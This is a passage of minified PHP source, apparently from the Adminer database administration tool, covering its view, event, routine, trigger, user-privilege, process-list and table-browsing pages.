',html_select("table",$cg,$K["table"],"this.form['change-js'].value = '1'; this.form.submit();"),'<input type="hidden" name="change-js" value=""> <noscript><p><input type="submit" name="change" value="',lang(190),'"></noscript> <table cellspacing="0"> <thead><tr><th id="label-source">',lang(126),'<th id="label-target">',lang(127),'</thead> ';$Jd=0;foreach($K["source"]as$y=>$X){echo"<tr>","<td>".html_select("source[".(+$y)."]",array(-1=>"")+$Qg,$X,($Jd==count($K["source"])-1?"foreignAddRow(this);":1),"label-source"),"<td>".html_select("target[".(+$y)."]",$oh,$K["target"][$y],1,"label-target");$Jd++;}echo'</table> <p> ',lang(94),': ',html_select("on_delete",array(-1=>"")+explode("|",$Te),$K["on_delete"]),' ',lang(93),': ',html_select("on_update",array(-1=>"")+explode("|",$Te),$K["on_update"]),doc_link(array('sql'=>"innodb-foreign-key-constraints.html",'pgsql'=>"sql-createtable.html#SQL-CREATETABLE-REFERENCES",'mssql'=>"ms174979.aspx",'oracle'=>"clauses002.htm#sthref2903",)),'<p> <input type="submit" value="',lang(14),'"> <noscript><p><input type="submit" name="add" value="',lang(191),'"></noscript> ';}if($C!=""){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["view"])){$a=$_GET["view"];$K=$_POST;$kf="VIEW";if($x=="pgsql"&&$a!=""){$P=table_status($a);$kf=strtoupper($P["Engine"]);}if($_POST&&!$n){$C=trim($K["name"]);$Ga=" AS\n$K[select]";$A=ME."table=".urlencode($C);$se=lang(192);$U=($_POST["materialized"]?"MATERIALIZED VIEW":"VIEW");if(!$_POST["drop"]&&$a==$C&&$x!="sqlite"&&$U=="VIEW"&&$kf=="VIEW")query_redirect(($x=="mssql"?"ALTER":"CREATE OR REPLACE")." VIEW ".table($C).$Ga,$A,$se);else{$qh=$C."_adminer_".uniqid();drop_create("DROP $kf ".table($a),"CREATE $U ".table($C).$Ga,"DROP $U ".table($C),"CREATE $U ".table($qh).$Ga,"DROP $U ".table($qh),($_POST["drop"]?substr(ME,0,-1):$A),lang(193),$se,lang(194),$a,$C);}}if(!$_POST&&$a!=""){$K=view($a);$K["name"]=$a;$K["materialized"]=($kf!="VIEW");if(!$n)$n=error();}page_header(($a!=""?lang(41):lang(195)),$n,array("table"=>$a),h($a));echo' <form action="" method="post"> <p>',lang(174),': <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off"> ',(support("materializedview")?" ".checkbox("materialized",1,$K["materialized"],lang(121)):""),'<p>';textarea("select",$K["select"]);echo'<p> <input type="submit" value="',lang(14),'"> ';if($_GET["view"]!=""){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["event"])){$aa=$_GET["event"];$Ad=array("YEAR","QUARTER","MONTH","DAY","HOUR","MINUTE","WEEK","SECOND","YEAR_MONTH","DAY_HOUR","DAY_MINUTE","DAY_SECOND","HOUR_MINUTE","HOUR_SECOND","MINUTE_SECOND");$Wg=array("ENABLED"=>"ENABLE","DISABLED"=>"DISABLE","SLAVESIDE_DISABLED"=>"DISABLE ON SLAVE");$K=$_POST;if($_POST&&!$n){if($_POST["drop"])query_redirect("DROP EVENT ".idf_escape($aa),substr(ME,0,-1),lang(196));elseif(in_array($K["INTERVAL_FIELD"],$Ad)&&isset($Wg[$K["STATUS"]])){$wg="\nON SCHEDULE ".($K["INTERVAL_VALUE"]?"EVERY ".q($K["INTERVAL_VALUE"])." $K[INTERVAL_FIELD]".($K["STARTS"]?" STARTS ".q($K["STARTS"]):"").($K["ENDS"]?" ENDS ".q($K["ENDS"]):""):"AT ".q($K["STARTS"]))." ON COMPLETION".($K["ON_COMPLETION"]?"":" NOT")." PRESERVE";queries_redirect(substr(ME,0,-1),($aa!=""?lang(197):lang(198)),queries(($aa!=""?"ALTER EVENT ".idf_escape($aa).$wg.($aa!=$K["EVENT_NAME"]?"\nRENAME TO ".idf_escape($K["EVENT_NAME"]):""):"CREATE EVENT ".idf_escape($K["EVENT_NAME"]).$wg)."\n".$Wg[$K["STATUS"]]." COMMENT ".q($K["EVENT_COMMENT"]).rtrim(" DO\n$K[EVENT_DEFINITION]",";").";"));}}page_header(($aa!=""?lang(199).": ".h($aa):lang(200)),$n);if(!$K&&$aa!=""){$L=get_rows("SELECT * FROM information_schema.EVENTS WHERE EVENT_SCHEMA = ".q(DB)." AND EVENT_NAME = ".q($aa));$K=reset($L);}echo' <form action="" method="post"> <table cellspacing="0"> <tr><th>',lang(174),'<td><input name="EVENT_NAME" value="',h($K["EVENT_NAME"]),'" maxlength="64" autocapitalize="off"> <tr><th title="datetime">',lang(201),'<td><input name="STARTS" value="',h("$K[EXECUTE_AT]$K[STARTS]"),'"> <tr><th title="datetime">',lang(202),'<td><input name="ENDS" value="',h($K["ENDS"]),'"> <tr><th>',lang(203),'<td><input type="number" name="INTERVAL_VALUE" value="',h($K["INTERVAL_VALUE"]),'" class="size"> ',html_select("INTERVAL_FIELD",$Ad,$K["INTERVAL_FIELD"]),'<tr><th>',lang(109),'<td>',html_select("STATUS",$Wg,$K["STATUS"]),'<tr><th>',lang(47),'<td><input name="EVENT_COMMENT" value="',h($K["EVENT_COMMENT"]),'" maxlength="64"> <tr><th> <td>',checkbox("ON_COMPLETION","PRESERVE",$K["ON_COMPLETION"]=="PRESERVE",lang(204)),'</table> <p>';textarea("EVENT_DEFINITION",$K["EVENT_DEFINITION"]);echo'<p> <input type="submit" value="',lang(14),'"> ';if($aa!=""){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["procedure"])){$da=$_GET["procedure"];$rg=(isset($_GET["function"])?"FUNCTION":"PROCEDURE");$K=$_POST;$K["fields"]=(array)$K["fields"];if($_POST&&!process_fields($K["fields"])&&!$n){$qh="$K[name]_adminer_".uniqid();drop_create("DROP $rg ".idf_escape($da),create_routine($rg,$K),"DROP $rg ".idf_escape($K["name"]),create_routine($rg,array("name"=>$qh)+$K),"DROP $rg ".idf_escape($qh),substr(ME,0,-1),lang(205),lang(206),lang(207),$da,$K["name"]);}page_header(($da!=""?(isset($_GET["function"])?lang(208):lang(209)).": ".h($da):(isset($_GET["function"])?lang(210):lang(211))),$n);if(!$_POST&&$da!=""){$K=routine($da,$rg);$K["name"]=$da;}$ob=get_vals("SHOW CHARACTER SET");sort($ob);$sg=routine_languages();echo' <form action="" method="post" id="form"> <p>',lang(174),': <input name="name" value="',h($K["name"]),'" maxlength="64" autocapitalize="off"> ',($sg?lang(19).": ".html_select("language",$sg,$K["language"]):""),'<input type="submit" value="',lang(14),'"> <table cellspacing="0" class="nowrap"> ';edit_fields($K["fields"],$ob,$rg);if(isset($_GET["function"])){echo"<tr><td>".lang(212);edit_type("returns",$K["returns"],$ob);}echo'</table> <p>';textarea("definition",$K["definition"]);echo'<p> <input type="submit" value="',lang(14),'"> ';if($da!=""){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["sequence"])){$fa=$_GET["sequence"];$K=$_POST;if($_POST&&!$n){$_=substr(ME,0,-1);$C=trim($K["name"]);if($_POST["drop"])query_redirect("DROP SEQUENCE ".idf_escape($fa),$_,lang(213));elseif($fa=="")query_redirect("CREATE SEQUENCE ".idf_escape($C),$_,lang(214));elseif($fa!=$C)query_redirect("ALTER SEQUENCE ".idf_escape($fa)." RENAME TO ".idf_escape($C),$_,lang(215));else redirect($_);}page_header($fa!=""?lang(216).": ".h($fa):lang(217),$n);if(!$K)$K["name"]=$fa;echo' <form action="" method="post"> <p><input name="name" value="',h($K["name"]),'" autocapitalize="off"> <input type="submit" value="',lang(14),'"> ';if($fa!="")echo"<input type='submit' name='drop' value='".lang(119)."'".confirm().">\n";echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["type"])){$ga=$_GET["type"];$K=$_POST;if($_POST&&!$n){$_=substr(ME,0,-1);if($_POST["drop"])query_redirect("DROP TYPE ".idf_escape($ga),$_,lang(218));else query_redirect("CREATE TYPE ".idf_escape(trim($K["name"]))." $K[as]",$_,lang(219));}page_header($ga!=""?lang(220).": ".h($ga):lang(221),$n);if(!$K)$K["as"]="AS ";echo' <form action="" method="post"> <p> ';if($ga!="")echo"<input type='submit' name='drop' value='".lang(119)."'".confirm().">\n";else{echo"<input name='name' value='".h($K['name'])."' autocapitalize='off'>\n";textarea("as",$K["as"]);echo"<p><input type='submit' value='".lang(14)."'>\n";}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["trigger"])){$a=$_GET["trigger"];$C=$_GET["name"];$Nh=trigger_options();$K=(array)trigger($C)+array("Trigger"=>$a."_bi");if($_POST){if(!$n&&in_array($_POST["Timing"],$Nh["Timing"])&&in_array($_POST["Event"],$Nh["Event"])&&in_array($_POST["Type"],$Nh["Type"])){$Se=" ON ".table($a);$Zb="DROP TRIGGER ".idf_escape($C).($x=="pgsql"?$Se:"");$A=ME."table=".urlencode($a);if($_POST["drop"])query_redirect($Zb,$A,lang(222));else{if($C!="")queries($Zb);queries_redirect($A,($C!=""?lang(223):lang(224)),queries(create_trigger($Se,$_POST)));if($C!="")queries(create_trigger($Se,$K+array("Type"=>reset($Nh["Type"]))));}}$K=$_POST;}page_header(($C!=""?lang(225).": ".h($C):lang(226)),$n,array("table"=>$a));echo' <form action="" method="post" id="form"> <table cellspacing="0"> <tr><th>',lang(227),'<td>',html_select("Timing",$Nh["Timing"],$K["Timing"],"triggerChange(/^".preg_quote($a,"/")."_[ba][iud]$/, '".js_escape($a)."', this.form);"),'<tr><th>',lang(228),'<td>',html_select("Event",$Nh["Event"],$K["Event"],"this.form['Timing'].onchange();"),(in_array("UPDATE OF",$Nh["Event"])?" <input name='Of' value='".h($K["Of"])."' class='hidden'>":""),'<tr><th>',lang(46),'<td>',html_select("Type",$Nh["Type"],$K["Type"]),'</table> <p>',lang(174),': <input name="Trigger" value="',h($K["Trigger"]);?>" maxlength="64" autocapitalize="off"> <script type="text/javascript">document.getElementById('form')['Timing'].onchange();</script> <p><?php textarea("Statement",$K["Statement"]);echo'<p> <input type="submit" value="',lang(14),'"> ';if($C!=""){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["user"])){$ha=$_GET["user"];$Pf=array(""=>array("All privileges"=>""));foreach(get_rows("SHOW PRIVILEGES")as$K){foreach(explode(",",($K["Privilege"]=="Grant option"?"":$K["Context"]))as$zb)$Pf[$zb][$K["Privilege"]]=$K["Comment"];}$Pf["Server Admin"]+=$Pf["File access on server"];$Pf["Databases"]["Create routine"]=$Pf["Procedures"]["Create routine"];unset($Pf["Procedures"]["Create routine"]);$Pf["Columns"]=array();foreach(array("Select","Insert","Update","References")as$X)$Pf["Columns"][$X]=$Pf["Tables"][$X];unset($Pf["Server Admin"]["Usage"]);foreach($Pf["Tables"]as$y=>$X)unset($Pf["Databases"][$y]);$Ee=array();if($_POST){foreach($_POST["objects"]as$y=>$X)$Ee[$X]=(array)$Ee[$X]+(array)$_POST["grants"][$y];}$bd=array();$Qe="";if(isset($_GET["host"])&&($I=$g->query("SHOW GRANTS FOR ".q($ha)."@".q($_GET["host"])))){while($K=$I->fetch_row()){if(preg_match('~GRANT (.*) ON (.*) TO ~',$K[0],$B)&&preg_match_all('~ *([^(,]*[^ ,(])( *\\([^)]+\\))?~',$B[1],$ke,PREG_SET_ORDER)){foreach($ke as$X){if($X[1]!="USAGE")$bd["$B[2]$X[2]"][$X[1]]=true;if(preg_match('~ WITH GRANT OPTION~',$K[0]))$bd["$B[2]$X[2]"]["GRANT OPTION"]=true;}}if(preg_match("~ IDENTIFIED BY PASSWORD '([^']+)~",$K[0],$B))$Qe=$B[1];}}if($_POST&&!$n){$Re=(isset($_GET["host"])?q($ha)."@".q($_GET["host"]):"''");if($_POST["drop"])query_redirect("DROP USER $Re",ME."privileges=",lang(229));else{$Ge=q($_POST["user"])."@".q($_POST["host"]);$yf=$_POST["pass"];if($yf!=''&&!$_POST["hashed"]){$yf=$g->result("SELECT PASSWORD(".q($yf).")");$n=!$yf;}$Db=false;if(!$n){if($Re!=$Ge){$Db=queries(($g->server_info<5?"GRANT USAGE ON *.* TO":"CREATE USER")." $Ge IDENTIFIED BY PASSWORD ".q($yf));$n=!$Db;}elseif($yf!=$Qe)queries("SET PASSWORD FOR $Ge = ".q($yf));}if(!$n){$og=array();foreach($Ee as$Le=>$ad){if(isset($_GET["grant"]))$ad=array_filter($ad);$ad=array_keys($ad);if(isset($_GET["grant"]))$og=array_diff(array_keys(array_filter($Ee[$Le],'strlen')),$ad);elseif($Re==$Ge){$Oe=array_keys((array)$bd[$Le]);$og=array_diff($Oe,$ad);$ad=array_diff($ad,$Oe);unset($bd[$Le]);}if(preg_match('~^(.+)\\s*(\\(.*\\))?$~U',$Le,$B)&&(!grant("REVOKE",$og,$B[2]," ON $B[1] FROM $Ge")||!grant("GRANT",$ad,$B[2]," ON $B[1] TO $Ge"))){$n=true;break;}}}if(!$n&&isset($_GET["host"])){if($Re!=$Ge)queries("DROP USER $Re");elseif(!isset($_GET["grant"])){foreach($bd as$Le=>$og){if(preg_match('~^(.+)(\\(.*\\))?$~U',$Le,$B))grant("REVOKE",array_keys($og),$B[2]," ON $B[1] FROM $Ge");}}}queries_redirect(ME."privileges=",(isset($_GET["host"])?lang(230):lang(231)),!$n);if($Db)$g->query("DROP USER $Ge");}}page_header((isset($_GET["host"])?lang(33).": ".h("$ha@$_GET[host]"):lang(138)),$n,array("privileges"=>array('',lang(68))));if($_POST){$K=$_POST;$bd=$Ee;}else{$K=$_GET+array("host"=>$g->result("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', -1)"));$K["pass"]=$Qe;if($Qe!="")$K["hashed"]=true;$bd[(DB==""||$bd?"":idf_escape(addcslashes(DB,"%_\\"))).".*"]=array();}echo'<form action="" method="post"> <table cellspacing="0"> <tr><th>',lang(32),'<td><input name="host" maxlength="60" value="',h($K["host"]),'" autocapitalize="off"> <tr><th>',lang(33),'<td><input name="user" maxlength="16" value="',h($K["user"]),'" autocapitalize="off"> <tr><th>',lang(34),'<td><input name="pass" id="pass" value="',h($K["pass"]),'"> ';if(!$K["hashed"]){echo'<script type="text/javascript">typePassword(document.getElementById(\'pass\'));</script>';}echo checkbox("hashed",1,$K["hashed"],lang(232),"typePassword(this.form['pass'], this.checked);"),'</table> ';echo"<table cellspacing='0'>\n","<thead><tr><th colspan='2'>".lang(68).doc_link(array('sql'=>"grant.html#priv_level"));$s=0;foreach($bd as$Le=>$ad){echo'<th>'.($Le!="*.*"?"<input name='objects[$s]' value='".h($Le)."' size='10' autocapitalize='off'>":"<input type='hidden' name='objects[$s]' value='*.*' size='10'>*.*");$s++;}echo"</thead>\n";foreach(array(""=>"","Server Admin"=>lang(32),"Databases"=>lang(35),"Tables"=>lang(123),"Columns"=>lang(45),"Procedures"=>lang(233),)as$zb=>$Pb){foreach((array)$Pf[$zb]as$Of=>$sb){echo"<tr".odd()."><td".($Pb?">$Pb<td":" colspan='2'").' lang="en" title="'.h($sb).'">'.h($Of);$s=0;foreach($bd as$Le=>$ad){$C="'grants[$s][".h(strtoupper($Of))."]'";$Y=$ad[strtoupper($Of)];if($zb=="Server Admin"&&$Le!=(isset($bd["*.*"])?"*.*":".*"))echo"<td> ";elseif(isset($_GET["grant"]))echo"<td><select name=$C><option><option value='1'".($Y?" selected":"").">".lang(234)."<option value='0'".($Y=="0"?" selected":"").">".lang(235)."</select>";else echo"<td align='center'><label class='block'><input type='checkbox' name=$C value='1'".($Y?" checked":"").($Of=="All privileges"?" id='grants-$s-all'":($Of=="Grant option"?"":" onclick=\"if (this.checked) formUncheck('grants-$s-all');\""))."></label>";$s++;}}}echo"</table>\n",'<p> <input type="submit" value="',lang(14),'"> ';if(isset($_GET["host"])){echo'<input type="submit" name="drop" value="',lang(119),'"',confirm(),'>';}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["processlist"])){if(support("kill")&&$_POST&&!$n){$Qd=0;foreach((array)$_POST["kill"]as$X){if(kill_process($X))$Qd++;}queries_redirect(ME."processlist=",lang(236,$Qd),$Qd||!$_POST["kill"]);}page_header(lang(107),$n);echo' <form action="" method="post"> <table cellspacing="0" onclick="tableClick(event);" ondblclick="tableClick(event, true);" class="nowrap checkable"> ';$s=-1;foreach(process_list()as$s=>$K){if(!$s){echo"<thead><tr lang='en'>".(support("kill")?"<th> ":"");foreach($K as$y=>$X)echo"<th>$y".doc_link(array('sql'=>"show-processlist.html#processlist_".strtolower($y),'pgsql'=>"monitoring-stats.html#PG-STAT-ACTIVITY-VIEW",'oracle'=>"../b14237/dynviews_2088.htm",));echo"</thead>\n";}echo"<tr".odd().">".(support("kill")?"<td>".checkbox("kill[]",$K[$x=="sql"?"Id":"pid"],0):"");foreach($K as$y=>$X)echo"<td>".(($x=="sql"&&$y=="Info"&&preg_match("~Query|Killed~",$K["Command"])&&$X!="")||($x=="pgsql"&&$y=="current_query"&&$X!="<IDLE>")||($x=="oracle"&&$y=="sql_text"&&$X!="")?"<code class='jush-$x'>".shorten_utf8($X,100,"</code>").' <a href="'.h(ME.($K["db"]!=""?"db=".urlencode($K["db"])."&":"")."sql=".urlencode($X)).'">'.lang(237).'</a>':nbsp($X));echo"\n";}echo'</table> <script type=\'text/javascript\'>tableCheck();</script> <p> ';if(support("kill")){echo($s+1)."/".lang(238,max_connections()),"<p><input type='submit' value='".lang(239)."'>\n";}echo'<input type="hidden" name="token" value="',$Dh,'"> </form> ';}elseif(isset($_GET["replication"])){page_header(lang(110));echo"<h3>".lang(240).doc_link(array("sql"=>"show-master-status.html"))."</h3>\n";$ie=replication_status("MASTER");if(!$ie)echo"<p class='message'>".lang(12)."\n";else{echo"<table cellspacing='0'>\n";foreach($ie[0]as$y=>$X){echo"<tr>","<th>".h($y),"<td>".nbsp($X);}echo"</table>\n";}$Ng=replication_status("SLAVE");if($Ng){echo"<h3>".lang(241).doc_link(array("sql"=>"show-slave-status.html"))."</h3>\n";foreach($Ng[0]as$Mg){echo"<table cellspacing='0'>\n";foreach($Mg as$y=>$X){echo"<tr>","<th>".h($y),"<td>".nbsp($X);}echo"</table>\n";}}}elseif(isset($_GET["select"])){$a=$_GET["select"];$S=table_status1($a);$w=indexes($a);$p=fields($a);$Tc=column_foreign_keys($a);$Ne="";if($S["Oid"]){$Ne=($x=="sqlite"?"rowid":"oid");$w[]=array("type"=>"PRIMARY","columns"=>array($Ne));}parse_str($_COOKIE["adminer_import"],$ya);$pg=array();$e=array();$uh=null;foreach($p as$y=>$o){$C=$b->fieldName($o);if(isset($o["privileges"]["select"])&&$C!=""){$e[$y]=html_entity_decode(strip_tags($C),ENT_QUOTES);if(is_shortable($o))$uh=$b->selectLengthProcess();}$pg+=$o["privileges"];}list($M,$cd)=$b->selectColumnsProcess($e,$w);$Ed=count($cd)<count($M);$Z=$b->selectSearchProcess($p,$w);$df=$b->selectOrderProcess($p,$w);$z=$b->selectLimitProcess();$Yc=($M?implode(", ",$M):"*".($Ne?", $Ne":"")).convert_fields($e,$p,$M)."\nFROM ".table($a);$dd=($cd&&$Ed?"\nGROUP BY ".implode(", ",$cd):"").($df?"\nORDER BY ".implode(", ",$df):"");if($_GET["val"]&&is_ajax()){header("Content-Type: text/plain; charset=utf-8");foreach($_GET["val"]as$Vh=>$K){$Ga=convert_field($p[key($K)]);$M=array($Ga?$Ga:idf_escape(key($K)));$Z[]=where_check($Vh,$p);$J=$Xb->select($a,$M,$Z,$M);if($J)echo reset($J->fetch_row());}exit;}if($_POST&&!$n){$si=$Z;if(!$_POST["all"]&&is_array($_POST["check"])){$eb=array();foreach($_POST["check"]as$bb)$eb[]=where_check($bb,$p);$si[]="((".implode(") OR (",$eb)."))";}$si=($si?"\nWHERE ".implode(" AND ",$si):"");$Kf=$Xh=null;foreach($w as$v){if($v["type"]=="PRIMARY"){$Kf=array_flip($v["columns"]);$Xh=($M?$Kf:array());break;}}foreach((array)$Xh as$y=>$X){if(in_array(idf_escape($y),$M))unset($Xh[$y]);}if($_POST["export"]){cookie("adminer_import","output=".urlencode($_POST["output"])."&format=".urlencode($_POST["format"]));dump_headers($a);$b->dumpTable($a,"");if(!is_array($_POST["check"])||$Xh===array())$H="SELECT $Yc$si$dd";else{$Th=array();foreach($_POST["check"]as$X)$Th[]="(SELECT".limit($Yc,"\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p).$dd,1).")";$H=implode(" UNION ALL ",$Th);}$b->dumpData($a,"table",$H);exit;}if(!$b->selectEmailProcess($Z,$Tc)){if($_POST["save"]||$_POST["delete"]){$I=true;$za=0;$O=array();if(!$_POST["delete"]){foreach($e as$C=>$X){$X=process_input($p[$C]);if($X!==null&&($_POST["clone"]||$X!==false))$O[idf_escape($C)]=($X!==false?$X:idf_escape($C));}}if($_POST["delete"]||$O){if($_POST["clone"])$H="INTO ".table($a)." (".implode(", ",array_keys($O)).")\nSELECT ".implode(", ",$O)."\nFROM ".table($a);if($_POST["all"]||($Xh===array()&&is_array($_POST["check"]))||$Ed){$I=($_POST["delete"]?$Xb->delete($a,$si):($_POST["clone"]?queries("INSERT $H$si"):$Xb->update($a,$O,$si)));$za=$g->affected_rows;}else{foreach((array)$_POST["check"]as$X){$ri="\nWHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($X,$p);$I=($_POST["delete"]?$Xb->delete($a,$ri,1):($_POST["clone"]?queries("INSERT".limit1($H,$ri)):$Xb->update($a,$O,$ri)));if(!$I)break;$za+=$g->affected_rows;}}}$se=lang(242,$za);if($_POST["clone"]&&$I&&$za==1){$Wd=last_id();if($Wd)$se=lang(160," $Wd");}queries_redirect(remove_from_uri($_POST["all"]&&$_POST["delete"]?"page":""),$se,$I);if(!$_POST["delete"]){edit_form($a,$p,(array)$_POST["fields"],!$_POST["clone"]);page_footer();exit;}}elseif(!$_POST["import"]){if(!$_POST["val"])$n=lang(243);else{$I=true;$za=0;foreach($_POST["val"]as$Vh=>$K){$O=array();foreach($K as$y=>$X){$y=bracket_escape($y,1);$O[idf_escape($y)]=(preg_match('~char|text~',$p[$y]["type"])||$X!=""?$b->processInput($p[$y],$X):"NULL");}$I=$Xb->update($a,$O," WHERE ".($Z?implode(" AND ",$Z)." AND ":"").where_check($Vh,$p),!($Ed||$Xh===array())," ");if(!$I)break;$za+=$g->affected_rows;}queries_redirect(remove_from_uri(),lang(242,$za),$I);}}elseif(!is_string($Jc=get_file("csv_file",true)))$n=upload_error($Jc);elseif(!preg_match('~~u',$Jc))$n=lang(244);else{cookie("adminer_import","output=".urlencode($ya["output"])."&format=".urlencode($_POST["separator"]));$I=true;$pb=array_keys($p);preg_match_all('~(?>"[^"]*"|[^"\\r\\n]+)+~',$Jc,$ke);$za=count($ke[0]);$Xb->begin();$Dg=($_POST["separator"]=="csv"?",":($_POST["separator"]=="tsv"?"\t":";"));$L=array();foreach($ke[0]as$y=>$X){preg_match_all("~((?>\"[^\"]*\")+|[^$Dg]*)$Dg~",$X.$Dg,$le);if(!$y&&!array_diff($le[1],$pb)){$pb=$le[1];$za--;}else{$O=array();foreach($le[1]as$s=>$lb)$O[idf_escape($pb[$s])]=($lb==""&&$p[$pb[$s]]["null"]?"NULL":q(str_replace('""','"',preg_replace('~^"|"$~','',$lb))));$L[]=$O;}}$I=(!$L||$Xb->insertUpdate($a,$L,$Kf));if($I)$I=$Xb->commit();queries_redirect(remove_from_uri("page"),lang(245,$za),$I);$Xb->rollback();}}}$gh=$b->tableName($S);if(is_ajax()){page_headers();ob_start();}else page_header(lang(50).": $gh",$n);$O=null;if(isset($pg["insert"])||!support("table")){$O="";foreach((array)$_GET["where"]as$X){if(count($Tc[$X["col"]])==1&&($X["op"]=="="||(!$X["op"]&&!preg_match('~[_%]~',$X["val"]))))$O.="&set".urlencode("[".bracket_escape($X["col"])."]")."=".urlencode($X["val"]);}}$b->selectLinks($S,$O);if(!$e&&support("table"))echo"<p class='error'>".lang(246).($p?".":": ".error())."\n";else{echo"<form action='' id='form'>\n","<div style='display: none;'>";hidden_fields_get();echo(DB!=""?'<input type="hidden" name="db" value="'.h(DB).'">'.(isset($_GET["ns"])?'<input type="hidden" name="ns" value="'.h($_GET["ns"]).'">':""):"");echo'<input type="hidden" name="select" value="'.h($a).'">',"</div>\n";$b->selectColumnsPrint($M,$e);$b->selectSearchPrint($Z,$e,$w);$b->selectOrderPrint($df,$e,$w);$b->selectLimitPrint($z);$b->selectLengthPrint($uh);$b->selectActionPrint($w);echo"</form>\n";$E=$_GET["page"];if($E=="last"){$Wc=$g->result(count_rows($a,$Z,$Ed,$cd));$E=floor(max(0,$Wc-1)/$z);}$Ag=$M;if(!$Ag){$Ag[]="*";if($Ne)$Ag[]=$Ne;}$_b=convert_fields($e,$p,$M);if($_b)$Ag[]=substr($_b,2);$I=$Xb->select($a,$Ag,$Z,$cd,$df,$z,$E,true);if(!$I)echo"<p class='error'>".error()."\n";else{if($x=="mssql"&&$E)$I->seek($z*$E);$mc=array();echo"<form action='' method='post' enctype='multipart/form-data'>\n";$L=array();while($K=$I->fetch_assoc()){if($E&&$x=="oracle")unset($K["RNUM"]);$L[]=$K;}if($_GET["page"]!="last"&&+$z&&$cd&&$Ed&&$x=="sql")$Wc=$g->result(" SELECT FOUND_ROWS()");if(!$L)echo"<p class='message'>".lang(12)."\n";else{$Pa=$b->backwardKeys($a,$gh);echo"<table id='table' cellspacing='0' class='nowrap checkable' onclick='tableClick(event);' ondblclick='tableClick(event, true);' onkeydown='return editingKeydown(event);'>\n","<thead><tr>".(!$cd&&$M?"":"<td><input type='checkbox' id='all-page' onclick='formCheck(this, /check/);' class='jsonly'> <a href='".h($_GET["modify"]?remove_from_uri("modify"):$_SERVER["REQUEST_URI"]."&modify=1")."'>".lang(247)."</a>");$De=array();$Zc=array();reset($M);$Yf=1;foreach($L[0]as$y=>$X){if($y!=$Ne){$X=$_GET["columns"][key($M)];$o=$p[$M?($X?$X["col"]:current($M)):$y];$C=($o?$b->fieldName($o,$Yf):($X["fun"]?"*":$y));if($C!=""){$Yf++;$De[$y]=$C;$d=idf_escape($y);$nd=remove_from_uri('(order|desc)[^=]*|page').'&order%5B0%5D='.urlencode($y);$Pb="&desc%5B0%5D=1";echo'<th onmouseover="columnMouse(this);" onmouseout="columnMouse(this, \' hidden\');">','<a href="'.h($nd.($df[0]==$d||$df[0]==$y||(!$df&&$Ed&&$cd[0]==$d)?$Pb:'')).'">';echo apply_sql_function($X["fun"],$C)."</a>";echo"<span class='column hidden'>","<a href='".h($nd.$Pb)."' title='".lang(56)."' class='text'> ↓</a>";if(!$X["fun"])echo'<a href="#fieldset-search" onclick="selectSearch(\''.h(js_escape($y)).'\'); return false;" title="'.lang(53).'" class="text jsonly"> =</a>';echo"</span>";}$Zc[$y]=$X["fun"];next($M);}}$ce=array();if($_GET["modify"]){foreach($L as$K){foreach($K as$y=>$X)$ce[$y]=max($ce[$y],min(40,strlen(utf8_decode($X))));}}echo($Pa?"<th>".lang(248):"")."</thead>\n";if(is_ajax()){if($z%2==1&&$E%2==1)odd();ob_end_clean();}foreach($b->rowDescriptions($L,$Tc)as$Ce=>$K){$Uh=unique_array($L[$Ce],$w);if(!$Uh){$Uh=array();foreach($L[$Ce]as$y=>$X){if(!preg_match('~^(COUNT\\((\\*|(DISTINCT )?`(?:[^`]|``)+`)\\)|(AVG|GROUP_CONCAT|MAX|MIN|SUM)\\(`(?:[^`]|``)+`\\))$~',$y))$Uh[$y]=$X;}}$Vh="";foreach($Uh as$y=>$X){if(($x=="sql"||$x=="pgsql")&&strlen($X)>64){$y=(strpos($y,'(')?$y:idf_escape($y));$y="MD5(".($x=='sql'&&preg_match("~^utf8_~",$p[$y]["collation"])?$y:"CONVERT($y USING ".charset($g).")").")";$X=md5($X);}$Vh.="&".($X!==null?urlencode("where[".bracket_escape($y)."]")."=".urlencode($X):"null%5B%5D=".urlencode($y));}echo"<tr".odd().">".(!$cd&&$M?"":"<td>".checkbox("check[]",substr($Vh,1),in_array(substr($Vh,1),(array)$_POST["check"]),"","this.form['all'].checked = false; formUncheck('all-page');").($Ed||information_schema(DB)?"":" <a href='".h(ME."edit=".urlencode($a).$Vh)."'>".lang(249)."</a>"));foreach($K as$y=>$X){if(isset($De[$y])){$o=$p[$y];if($X!=""&&(!isset($mc[$y])||$mc[$y]!=""))$mc[$y]=(is_mail($X)?$De[$y]:"");$_="";if(preg_match('~blob|bytea|raw|file~',$o["type"])&&$X!="")$_=ME.'download='.urlencode($a).'&field='.urlencode($y).$Vh;if(!$_&&$X!==null){foreach((array)$Tc[$y]as$q){if(count($Tc[$y])==1||end($q["source"])==$y){$_="";foreach($q["source"]as$s=>$Qg)$_.=where_link($s,$q["target"][$s],$L[$Ce][$Qg]);$_=($q["db"]!=""?preg_replace('~([?&]db=)[^&]+~','\\1'.urlencode($q["db"]),ME):ME).'select='.urlencode($q["table"]).$_;if($q["ns"])$_=preg_replace('~([?&]ns=)[^&]+~','\\1'.urlencode($q["ns"]),$_);if(count($q["source"])==1)break;}}}if($y=="COUNT(*)"){$_=ME."select=".urlencode($a);$s=0;foreach((array)$_GET["where"]as$W){if(!array_key_exists($W["col"],$Uh))$_.=where_link($s++,$W["col"],$W["val"],$W["op"]);}foreach($Uh 